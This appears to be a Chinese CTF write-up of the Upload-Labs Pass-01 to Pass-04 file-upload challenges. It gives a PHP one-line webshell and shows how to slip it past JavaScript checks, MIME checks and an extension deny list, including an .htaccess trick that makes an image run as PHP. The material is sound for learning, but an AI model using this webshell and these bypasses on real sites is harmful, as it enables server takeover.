当前位置: 首页 > news >正文

[BT]BUUCTF刷题第13天(4.1)

第13天

Upload-Labs-Linux (Basic)

Pass-01

在这里插入图片描述

根据题目提示,该题为绕过js验证。

一句话木马:

<?php @eval(system($_POST["cmd"]));?>
// @符号   表示后面的语句即使执行错误,也不报错。
// eval()  把括号内的字符串全部当作php代码来执行
// system  执行外部程序,并且显示输出
// $_POST  用于收集来自 method="post" 的表单中的值
// 所以,这句代码的意思就是用php的方式收集 cmd 的值,执行cmd并输出

方法一:

该页面下按F12后再按F1,将调试程序中的停用JavaScript打开,保持页面,上传一句话木马

在这里插入图片描述

上传成功显示

在这里插入图片描述

在此之前随便上传一个图片后打开F12可以获取图片上传后的地址,这是后面调用木马的关键。

在这里插入图片描述
不过一般做题默认都在主机ip/upload下。

在这里插入图片描述

将以上url修改为以下url访问上传的一句话木马111.php

在这里插入图片描述

然后利用蚁剑打开连接修改后的url,成功连接。

在这里插入图片描述

方法二:
将一句话木马文件设置成图片格式后上传,利用bp抓包拦截恢复filename的后缀为php后上传成功。

Pass-02

在这里插入图片描述

直接上传会显示文件类型不正确,这里考虑修改MIME类型

首先上传一句话木马,然后修改Content-Type: image/png

在这里插入图片描述

直接上传就可以了,不过可能是我自己蚁剑的原因,明明成功上传但就是连接不上,要自己打开http://9b65883a-2c01-4ffb-b9c9-28e8cd77391d.node5.buuoj.cn:81/upload/shell.php构造POST参数执行命令

Pass-03

在这里插入图片描述

网站不允许上传.asp,.aspx,.php,.jsp后缀文件!,而且根据源码显示这是后端验证

所以这里考虑后缀名绕过,有常用的php3、php4、php5、phtml、phtm​

首先上传一句话木马,然后BP抓包修改后缀为filename="shell.phtml"

在这里插入图片描述
在这里插入图片描述

提交成功后注意这一次文件被网站重命名了,需要F12找到上传返回的地址

在这里插入图片描述

访问该链接使用命令即可拿到flag

Pass-04

在这里插入图片描述

查看源代码发现过滤了很多后缀,并且过滤规则很严格

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

因此这里考虑上传.htaccess

.htaccess文件内容:

<FilesMatch "upload.png">
SetHandler application/x-httpd-php
</FilesMatch>

上传.htaccess文件和一句话木马(图片格式)即可

http://www.lryc.cn/news/334270.html

相关文章:

  • 特别详细的Spring Cloud 系列教程1:服务注册中心Eureka的启动
  • Day108:代码审计-PHP模型开发篇MVC层动态调试未授权脆弱鉴权未引用错误逻辑
  • 重读Java设计模式: 桥接模式详解
  • 新规解读 | 被网信办豁免数据出境申报义务的企业,还需要做什么?
  • fakebook-攻防世界
  • mynet开源库
  • 深度挖掘商品信息,jd.item_get API助您呈现商品全面规格参数
  • A Random Walk Based Anonymous Peer-to-Peer
  • php代码执行计划任务dos实现方式和宝塔面板实现方式
  • 千万不要错过这6款能让你快速写作成长的宝藏软件…… #学习方法#AI写作
  • TypeScript系列之-理解TypeScript类型系统画图讲解
  • 制造业智能化一体式I/O模块的集成与应用案例分享
  • 《云原生安全攻防》-- 云原生应用风险分析
  • 抖音-引流私域转化模式1.0现场视频,从抖音源源不断把人加到私域,
  • 外包干了6天,技术明显进步
  • 上传应用程序到苹果应用商店的工具和要
  • vue:判断当前日期时间是否在一个日期时间区间里
  • 浏览器禁用cookie后session还能用吗?
  • C语言——顺序表
  • CentOS7安装Docker及禅道
  • 如何在社交媒体中使用增强现实来提高客户参与度?
  • Autodesk AutoCAD 2025 (macOS, Windows) - 自动计算机辅助设计软件
  • 买卖股票的最佳时机III
  • fastlio2 保存每帧的点云和每帧的里程计为单独的文件做后端回环优化和手动回环优化
  • 【线段树】【前缀和】:1687从仓库到码头运输箱子
  • [AIGC] 实现博客平台的推荐排行榜
  • C++利用键值对计算某一个数对应的最值及其索引位置
  • conda修改默认安装python版本为指定版本
  • 显示学习番外篇(基于树莓派Pico) -- 游戏(TODO)
  • 顺序表实战——基于顺序表的通讯录